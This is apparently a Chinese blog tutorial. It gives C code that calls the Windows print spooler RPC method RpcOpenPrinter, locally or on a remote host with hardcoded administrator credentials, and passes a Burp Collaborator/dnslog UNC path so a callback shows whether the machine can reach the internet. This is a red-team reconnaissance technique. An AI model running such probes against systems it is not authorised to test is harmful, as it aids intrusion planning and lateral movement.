Windows RPC 探测出网(MS-RPRN协议)

Windows RPC 探测出网(MS-RPRN协议)

参考链接

https://github.com/Rvn0xsy/SchtaskCreator
https://payloads.online/archivers/2022-03-04/1/   通过Windows RPC批量寻找“出网”机器

实现目标

本篇目标尝试调用windows系统自身的rpc接口(RpcOpenPrinter),实现在本地机器和远程机器探测是否出网

RpcOpenPrinter探测出网的原理

RpcOpenPrinter 是一个工作在MS-RPRN协议下的监视打印机的句柄方法
DWORD RpcOpenPrinter(
   [in, string, unique] STRING_HANDLE pPrinterName,
   [out] PRINTER_HANDLE* pHandle,
   [in, string, unique] wchar_t* pDatatype,
   [in] DEVMODE_CONTAINER* pDevModeContainer,
   [in] DWORD AccessRequired
 );
 第一个参数pPrinterName是打印机的地址,格式支持
        Domain Name System (DNS)
        NetBIOS
        Internet Protocol version 4 (IPv4)
        Internet Protocol version 6 (IPv6)
        Universal Naming Convention (UNC)

所以调用本地和远程的RpcOpenPrinter函数,第一个参数填dnslog地址。如果dnslog收到请求就可判断目标机器是否出网

环境和文件

开发环境
    windows10
    visual studio 2019

需要建立的文件
    ms-rprn.idl文件(下载链接:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e8f9dad8-d114-41cc-9a52-fc927e908cf4)

第一步 编译ms-rprn.idl文件

进入vs2019开发命令环境
midl ms-rprn.idl       注意:如果编译的是最新版可能会报错,可以尝试如下命令 ==> midl ms-rprn.idl /target NT60

第二步 创建工程

#include <stdio.h>

#include "ms-rprn.h"
#pragma comment(lib, "rpcrt4.lib")

static WCHAR szUsername[100] = { 0 };
static WCHAR szPassword[100] = { 0 };
static WCHAR szIPAddress[100] = { 0 };
static WCHAR szDomain[100] = { 0 };
bool is_local;

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
    free(p);
}

//Returns the last Win32 error, in string format. Returns an empty string if there is no error.
void PrintWin32Error(DWORD dwError)
{
    LPWSTR messageBuffer = nullptr;
    size_t size = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&messageBuffer, 0, NULL);

    wprintf(L"Error Code %d ==> %s\n", dwError, messageBuffer);
    //Free the buffer.
    LocalFree(messageBuffer);
}

const RPC_WSTR MS_RPRN_UUID = (RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB";
const RPC_WSTR InterfaceAddress = (RPC_WSTR)L"\\pipe\\spoolss";

// Taken from https://github.com/Paolo-Maffei/OpenNT/blob/master/printscan/print/spooler/spoolss/win32/bind.c#L65
handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
{
    RPC_STATUS RpcStatus = NULL;
    RPC_WSTR StringBinding = NULL;
    handle_t BindingHandle = NULL;
    WCHAR   ServerName[MAX_PATH + 1] = { 0 };
    DWORD   i;

    if (lpStr && lpStr[0] == L'\\' && lpStr[1] == L'\\') {
        // We have a servername
        ServerName[0] = ServerName[1] = '\\';

        i = 2;
        while (lpStr[i] && lpStr[i] != L'\\' && i < sizeof(ServerName)) {
            ServerName[i] = lpStr[i];
            i++;
        }

        ServerName[i] = 0;
    }
    else {
        return FALSE;
    }

#if 0
    RpcStatus = RpcStringBindingComposeW(
        MS_RPRN_UUID,
        (RPC_WSTR)L"ncacn_np",
        (RPC_WSTR)ServerName,
        InterfaceAddress,
        NULL,
        &StringBinding);

    if (RpcStatus != RPC_S_OK) {
        return(0);
    }

    RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);

    RpcStringFreeW(&StringBinding);

    if (RpcStatus != RPC_S_OK) {
        return(0);
    }
#endif // 0


    RPC_STATUS status;
    //RPC_WSTR StringBinding = NULL;
    RPC_BINDING_HANDLE Binding = NULL;
    PWCHAR ConnectProtocol = NULL;
    WCHAR ConnectRemoteProtocol[] = L"ncacn_ip_tcp";// L"ncacn_ip_tcp";
    WCHAR ConnectLocalProtocol[] = L"ncalrpc";
    RPC_WSTR Hostname = NULL;
    SEC_WINNT_AUTH_IDENTITY_W Auth;

    if (lstrlenW(szDomain) == 0) {
        Auth.Domain = NULL;
        Auth.DomainLength = 0;
    }
    else {
        Auth.Domain = (RPC_WSTR)szDomain;
        Auth.DomainLength = lstrlenW(szDomain);
    }

    //判断是不是本地执行,组装相应的参数
    if (is_local) {
        ConnectProtocol = ConnectLocalProtocol;
    }
    else {
        ConnectProtocol = ConnectRemoteProtocol;
        Auth.User = (RPC_WSTR)szUsername; // username
        Auth.Password = (RPC_WSTR)szPassword; // password
        Auth.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
        Auth.UserLength = lstrlenW(szUsername);
        Auth.PasswordLength = lstrlenW(szPassword);
        Hostname = (RPC_WSTR)szIPAddress;
    }

    //1.RpcStringBindingCompose 函数创建字符串绑定句柄
    status = RpcStringBindingCompose(
        MS_RPRN_UUID,//NULL,                        // Interface's GUID, will be handled by NdrClientCall
        (RPC_WSTR)ConnectProtocol,   // Protocol sequence
        Hostname,                    // Network address
        NULL,                        // Endpoint
        NULL,                        // No options here
        &StringBinding               // Output string binding
    );

    if (status != RPC_S_OK) {
        // printf("RpcStringBindingCompose failed - %x\n", status);
        return FALSE;
    }

    //2.RpcBindingFromStringBinding 函数从绑定句柄的字符串表示形式返回绑定句柄
    //  记得绑定成功的话,最后要释放绑定的句柄
    status = RpcBindingFromStringBinding(
        StringBinding,              // Previously created string binding  指向绑定句柄的字符串表示形式的指针
        &BindingHandle                    // Output binding handle  返回指向服务器绑定句柄的指针
    );

    if (status != RPC_S_OK) {
        // printf("RpcBindingFromStringBindingA failed - %x\n", status);
        return FALSE;
    }
    // 3.如果不是本地认证,则采用网络认证获取成功的认证信息,为后续远程调用打下基础
    if (!is_local) {
        RpcTryExcept{
            //RpcBindingSetAuthInfo 函数设置绑定句柄的身份验证和授权信息(认证成功的凭证应该在Binding中)
            status = RpcBindingSetAuthInfo(
                    BindingHandle,
                    Hostname,
                    RPC_C_AUTHN_LEVEL_PKT_PRIVACY,//RPC_C_AUTHN_LEVEL_DEFAULT,
                    RPC_C_AUTHN_DEFAULT,
                    &Auth,
                    NULL
                );
            if (status != RPC_S_OK)
            {
                // printf("RpcBindingSetAuthInfo failed - %d\n", status);
                return FALSE;
            }
        }
        RpcExcept(EXCEPTION_EXECUTE_HANDLER);
        {
            return FALSE;
        }
        RpcEndExcept
    }
    status = RpcStringFree(&StringBinding);  //释放句柄

    return BindingHandle;
}

void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
{
    RPC_STATUS       RpcStatus;

    RpcStatus = RpcBindingFree(&BindingHandle);
    //assert(RpcStatus != RPC_S_INVALID_BINDING);

    return;
}

BOOL RpcOpenPrinter(PWCHAR targetServer) {
    RPC_STATUS status = NULL;


    // 4.开始调用
    RpcTryExcept
    {
        PRINTER_HANDLE hPrinter = NULL;
        HRESULT hr = NULL;
        DEVMODE_CONTAINER devmodeContainer;
        SecureZeroMemory((char*)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));

        /*
        * RpcOpenPrinter 是一个工作在MS-RPRN协议下的监视打印机的句柄方法
        DWORD RpcOpenPrinter(
           [in, string, unique] STRING_HANDLE pPrinterName,
           [out] PRINTER_HANDLE* pHandle,
           [in, string, unique] wchar_t* pDatatype,
           [in] DEVMODE_CONTAINER* pDevModeContainer,
           [in] DWORD AccessRequired
         );
         第一个参数pPrinterName是打印机的地址,格式支持
                Domain Name System (DNS)
                NetBIOS
                Internet Protocol version 4 (IPv4)
                Internet Protocol version 6 (IPv6)
                Universal Naming Convention (UNC)
        */
        
        //STRING_HANDLE targetServer = (STRING_HANDLE)L"0987654321.gtjh01.dnslog.cn";
        hr = RpcOpenPrinter(targetServer, &hPrinter, NULL, &devmodeContainer, GENERIC_ALL);
        if (hr != ERROR_SUCCESS)
        {
            PrintWin32Error(hr);
            return FALSE;
        }
        else {
            printf("[*] RpcOpenPrinter 执行完成  hr=>%d \r\n", hr);
        }

    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER);
    {
        return FALSE;
    }
    RpcEndExcept
    {
    }

    if (status != RPC_S_OK) {
        return FALSE;
    }

    //释放绑定的句柄
    //status = RpcBindingFree(&Binding);
    return TRUE;
}

int main()
{
    WCHAR Username[100] = L"administrator";
    WCHAR Password[100] = L"123456";
    WCHAR IPAddress[100] = L"192.168.0.105";
    WCHAR Domain[100] = { 0 };
    memcpy_s(szUsername, 99, Username, 99);
    memcpy_s(szPassword, 99, Password, 99);
    memcpy_s(szIPAddress, 99, IPAddress, 99);

    is_local = true;
    WCHAR targetServer[100] = L"\\\\123457788.ij527j82mvy4cedn2g7151e9309qxf.burpcollaborator.net";


#if 0
    // 开始本地执行
    if (RpcOpenPrinter(targetServer) && is_local == true) {
        printf("[*] 本地执行计划任务  ==>  立即执行成功");
    }
#endif // 0


#if 1
    //开始远程执行
    is_local = false;
    if (RpcOpenPrinter(targetServer) && is_local == false)
    {
        printf("[*] 远程执行计划任务  ==>  立即执行成功");
    }

#endif // 0

    return 0;
}

本地和远程执行效果

远程机器上根据ProcessMonitor软件监控,发现确实通信成功了,但是未触发dnslog

posted @ 2022-11-27 20:30  是谁走漏了消息  阅读(382)  评论(0编辑  收藏  举报